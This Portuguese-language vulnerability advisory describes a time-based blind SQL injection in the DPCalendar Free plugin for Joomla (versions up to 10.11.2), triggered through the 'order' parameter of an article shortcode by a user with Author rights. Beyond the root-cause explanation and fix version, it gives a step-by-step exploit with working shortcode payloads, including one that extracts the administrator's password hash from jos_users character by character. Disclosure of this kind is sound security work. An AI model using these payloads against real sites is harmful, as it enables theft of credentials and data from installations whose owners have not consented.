
SQL Injection via ORDER BY Shortcode no plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
DPCalendar Free ≤ 10.11.2 — Usuário de nível Autor Extrai o Banco de Dados Inteiro via Injeção Cega Baseada em Tempo
O plugin de conteúdo plg_content_dpcalendar processa shortcodes {{#events order="..."}}{{/events}} incorporados no corpo de artigos do Joomla. O valor do parâmetro order é passado diretamente para EventsModel::setState('list.ordering', ...), ignorando completamente a lista de permissões do próprio populateState() do modelo. O valor é então inserido em uma cláusula SQL ORDER BY protegida apenas por DatabaseDriver::escape() — insuficiente contra injeção por subconsulta.
Um usuário de nível Autor que possa criar ou editar artigos pode explorar isso para exfiltrar dados do banco de dados via injeção cega de SQL baseada em tempo. O SQLi é disparado dentro da própria requisição de salvamento de artigo do atacante — sem interação da vítima, sem artigo publicado e sem envolvimento de administrador.
| COMPONENTE | VULNERÁVEL | TESTADO EM | CORRIGIDO |
|---|---|---|---|
| DPCalendar Free | 1.0.0 – 10.11.2 | Joomla 6.1.2 + DPCalendar 10.11.2 (MariaDB 10.6.27) | 10.12.0 |
Nota: Esta vulnerabilidade é distinta da CVE-2026-57831 (SQLi não autenticado em
EventsModel.phpviafilter_created_by, corrigida na v10.11.2). A presente descoberta afeta o plugin de conteúdo (plg_content_dpcalendar) — um arquivo diferente, um parâmetro diferente, e não foi corrigida na versão mais recente no momento da descoberta.
Tipo: Injeção de SQL (CWE-89) — Cega Baseada em Tempo
Autenticação necessária: Papel de Autor (pode criar/editar artigos no Joomla)
Endpoint: POST /index.php/submit-article?view=form&layout=edit
Arquivo: plg_content_dpcalendar/src/Extension/DPCalendar.php
O parser de shortcodes do plugin itera sobre todos os parâmetros chave-valor em uma tag {{#events}} e define o estado do modelo diretamente, ignorando completamente a validação da lista de permissões do populateState():
PLG_CONTENT_DPCALENDAR/SRC/EXTENSION/DPCALENDAR.PHP — TRATAMENTO VULNERÁVEL DE PARÂMETROS
foreach ($params as $paramKey => $paramValue) {
switch ($paramKey) {
case 'order':
// VULNERÁVEL: define o estado de ordenação diretamente da entrada do usuário
// ignora completamente a lista de permissões do populateState()
$model->setState('list.ordering', $paramValue);
break;
case 'orderdir':
$model->setState('list.direction', $paramValue);
break;
// ...
}
}
O valor contaminado flui para EventsModel::getListQuery() com apenas escape de aspas aplicado — insuficiente para bloquear injeção por subconsulta em um contexto ORDER BY:
COMPONENTS/COM_DPCALENDAR/SRC/MODEL/EVENTSMODEL.PHP:607 — CONSTRUÇÃO DO ORDER BY
$orderCol = $this->state->get('list.ordering', 'a.start_date');
$orderDirn = $this->state->get('list.direction', 'ASC');
// $db->escape() escapa apenas aspas — NÃO impede injeção por subconsulta
$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));
Uma subconsulta como (SELECT IF(ASCII(SUBSTRING(...))=36,SLEEP(5),0)) passa por $db->escape() sem modificações porque não contém caracteres de aspas. O SQL resultante torna-se:
ORDER BY (SELECT IF(ASCII(SUBSTRING((SELECT password FROM jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))--
A expressão ORDER BY só é avaliada quando o conjunto de resultados não está vazio — exigindo pelo menos um evento DPCalendar futuro publicado, a condição padrão para qualquer instalação ativa do DPCalendar.
Comportamento-chave: O SQLi é disparado dentro da própria requisição POST de salvar/editar — o atraso de tempo é observável diretamente na resposta HTTP (redirect 303). O atacante mede o tempo de resposta do próprio POST; nenhuma visualização de artigo, recarregamento de página ou etapa de publicação é necessária.
Pré-requisitos:
plg_content_dpcalendar habilitado (padrão na instalação do DPCalendar)start_date futuraCenário: SQLi Cego Baseado em Tempo → Extração de Credenciais de Administrador
O plugin define filter.state = 1 e list.start-date = NOW() antes de construir a consulta. Subconsultas ORDER BY só são executadas quando o conjunto de resultados contém linhas; se 0 linhas corresponderem, SLEEP() nunca é chamado.

Autentique-se no frontend do Joomla usando uma conta de Autor. Nenhum acesso de administrador é necessário em nenhum ponto deste ataque.

Navegue até o formulário de envio de artigo no frontend (/submit-article). Insira o seguinte payload no corpo do artigo e clique em Salvar:
{{#events order="(SELECT IF(1=1,SLEEP(5),0))-- " limit="1"}}{{/events}}
A própria resposta POST é atrasada em ~5 segundos. onContentPrepare é disparado durante o pipeline de salvamento do Joomla, invocando a consulta vulnerável antes do redirect 303 ser emitido. Nenhuma visualização de artigo ou publicação é necessária.

Substitua 1=1 por 1=2 (sempre falso). SLEEP não é acionado e a resposta retorna imediatamente (~100ms), confirmando uma separação de tempo confiável.
{{#events order="(SELECT IF(1=2,SLEEP(5),0))-- " limit="1"}}{{/events}}

Use comparações ASCII(SUBSTRING(...)) para ler cada caractere. Aspas simples devem ser evitadas (a regex do shortcode [^"\']* para em qualquer caractere de aspas); use valores ASCII decimais:
{{#events order="(SELECT IF(ASCII(SUBSTRING((SELECT password FROM joomla.jos_users ORDER BY id LIMIT 1),1,1))=36,SLEEP(5),0))-- " limit="1"}}{{/events}}
Tempo de resposta ~5s → VERDADEIRO → char[1] = '$' (ASCII 36 — primeiro caractere de um hash bcrypt $2y$10$...).
